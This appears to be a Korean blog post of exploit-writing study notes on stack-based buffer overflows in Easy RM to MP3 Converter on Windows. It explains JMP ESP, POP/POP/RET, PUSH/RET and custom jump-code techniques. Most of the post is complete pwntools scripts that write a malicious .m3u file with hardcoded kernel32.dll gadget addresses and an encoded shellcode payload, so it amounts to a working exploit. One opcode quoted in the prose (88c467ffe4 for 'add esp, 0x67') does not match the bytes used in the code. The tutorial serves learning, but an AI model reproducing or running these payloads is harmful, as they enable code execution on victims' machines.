cgy12306

Exploit writing tutorial part 2 : Stack Based Overflows-jumping to shellcode 본문

Windows/WinPwn

Exploit writing tutorial part 2 : Stack Based Overflows-jumping to shellcode

cgy12306 2020. 4. 18. 12:40

JMP or CALL

공격자는 쉘코드의 주소를 가진 레지스터를 기본적으로 사용하며, 그 주소를 EIP에 넣어 공격을 하게 된다. 그렇기 때문에 공격자는 애플리케이션이 실행될 때 로딩되는 DLL들 중 하나의 레지스터로 점프하거나 CALL 하는 기계어를 찾아야 한다. 또한 특정 메모리 주소로 EIP를 덮어쓰는 대신 특정 레지스터로 점프하는 주소를 EIP에 주입해야 한다. 그리고 이 주소에는 NULL 값을 포함해서는 안된다.

from pwn import *

payload = 'A' * (25000+1067)
payload += p32(0x7c8369f0) 
payload += 'A' * 4
payload  += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
f = open('./crash.m3u', 'w')
f.write(payload)
f.close

POP / Return

만약 스택의 꼭대기에 있는 값이 공격자가 생성한 버퍼 내에 있는 주소를 가리키지 않지만, 쉘코드를 가리키는 주소가 스택 안에 존재한다면, pop/ret과 같이 명령을 EIP에 넣어서 쉘코드를 로드할 수 있게 된다.

from pwn import *

payload = 'A' * (25000+1067)
payload += 'B' * 4
payload += 'X' * 4
payload += '\xcc'
payload += '\x90' * 7
payload += '\xcc'
payload += '\x90' * 200
f = open('./crash.m3u', 'w')
f.write(payload)
f.close

위와 같이 코드를 생성하면 EIP에 BBBB가 들어가게 된다.

그리고 실제 시작 부분인 두번째 브레이크 명령이 들어가 있고, NOP이 7byte만큼 들어간 후 쉘코드의 실제 시작 부분인 두번째 브레이크 명령이 있다.

cc 90 90 90 90 90 90 90 ⇒ pop pop 에 해당한다.

우리의 목적은 'ESP+8' 값을 EIP로 주입하는 것이다.

'pop/pop/ret' + 'call esp' 으로 쉘코드로 이동할 것이다.

pop 명령은 스택의 꼭대기에서 4byte를 꺼내는 일을 하게 되는데 일을 수행하게 되면 0x000ffd4c를 가리키게된다. 한번더 수행하게 되면 0x000ffd50이 된다. 'ret' 명령이 수행될 때 현재 ESP에 들어 있는 값이 EIP로 주입된다. 그러면 call esp 가젯이 EIP로 들어가게 되고 쉘 코드가 실행이 될 것이다.

우선 RM player에 attach를 한 후 pop ebp/pop eax/ret을 주입하고 기계어를 확인한다.

0x58, 0x5d, 0xc3이란 것을 알 수 있다. 다른 레지스터를 사용해도 된다.

kernel32.dll을 이용해서 가젯을 구할 것이다.

가젯의 주소는 0x7c87f30e이다.

from pwn import *

payload = 'A' * (25000+1067)
payload += p32(0x7c87f30e)
payload += 'B' * 12
payload += p32(0x7c8369f0) 
payload += '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'
f = open('./crash.m3u', 'w')
f.write(payload)
f.close

AAAA | ppr | BBBB BBBB BBBB | call esp | shell code 이렇게 된다.

PUSH return

스택에 주소를 입력하고 ret 처리를 해주는 기법이다. 해당 주소를 찾아서 PUSH 해주고 ret 명령어로 스택 꼭대기에 있는 주소를 EIP에 넣어 쉘코드를 로드하는 기술이다.

push esp/ret 은 0x54, c3이다

이 방법 말고 findjmp 툴을 사용하겠다.

from pwn import *

payload = 'A' * (25000+1067)
payload += p32(0x7c949db0)
payload += 'B' * 4
payload += '\x90' * 100
payload += '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'
f = open('./crash.m3u', 'w')
f.write(payload)
f.close

JMP [reg+offset]

쉘코드를 포함하는 버퍼를 지시하는 레지스터가 있지만 그것이 쉘코드의 시작 위치를 가리키지는 않는다고 하면 덧셈 연산으로 해당 주소로 점프를 시켜주는 명령을 사용하는 기술이다.

jmp [esp+8]의 기계어는 ff642408이다.

가젯이 나오지 않아서 이 방법은 생략한다.

Blind return

이 기술은 다음과 같이 두 단계로 구성된다.

  1. EIP를 ret 명령을 가리키는 주소로 덮어 쓴다.
  2. ESP의 처음 4바이트에 있는 쉘코드의 주소를 하드 코딩 한다.

프로그램의 dll 중 하나에서 ret 명령어를 찾아서 쉘코드가 시작하는 부분에 넣는다. 그리고 ret 명령을 가지는 주소를 EIP에 덮어 쓴다. 하지만 ESP값은 NULL 값을 가지고 있기 때문에 Easy RM to MP3 프로그램에서는 먹히지 않는다.

Dealing with small buffers : jumping anywhere with custom jumpcode

만약 우리가 사용할 수 있는 버퍼의 값이 A를 지나서 esp에서부터 50byte 만큼 사용할 수 없다면 버퍼에 쉘코드를 넣고, jmp 코드를 직접 만들어서 쉘코드를 실행할 수 있다.

from pwn import *

bufsize = 26067


payload  = 'A' * 26067 
payload += 'B' * 4
payload += 'X' * 54
payload += '\x90'*230
f = open('./crash.m3u', 'w')
f.write(payload)
f.close

위 처럼 코드를 짜고 스택상황을 보자.

NOP 코드를 지나서 다시 AAAA가 있다. 이 부분에 쉘코드를 삽입하면 된다. NOP 코드 아래에 AAAA가 있는 이유는 strcpy 함수 때문이라고 한다.

add esp, 0x67에 대한 기계어는 88c467ffe4이다.

from pwn import *

bufsize = 26067
nop = '\x90' * 450 
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'

payload = nop
payload += shellcode
payload += 'A' * (bufsize-int(len(nop))-int(len(shellcode)))
payload += p32(0x7c86467b)
payload += 'B' * 4
payload += '\x83\xc4\x67'
payload += '\x83\xc4\x67'
payload += '\x83\xc4\x67'
payload += '\x83\xc4\x67\xff\xe4'

print len(nop)+len(shellcode), bufsize-len(nop)-len(shellcode)
f = open('./crash.m3u', 'w')
f.write(payload)
f.close

 

Comments